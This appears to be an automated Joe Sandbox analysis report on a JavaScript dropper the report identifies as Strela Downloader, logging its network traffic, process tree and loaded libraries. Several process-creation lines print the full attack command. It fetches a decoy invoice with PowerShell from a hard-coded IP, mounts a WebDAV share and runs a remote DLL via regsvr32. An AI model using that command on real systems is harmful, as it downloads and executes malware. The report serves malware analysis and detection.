Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2075198382.000002A347BEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2143091992.000001DC5E478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3366156718.0000026AC4E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2142685188.0000026AC4C50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6184, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1052056652379030461.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kins2gqn.dfg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1052056652379030461.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,14637233770183932796,1311456170706695569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,14637233770183932796,1311456170706695569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
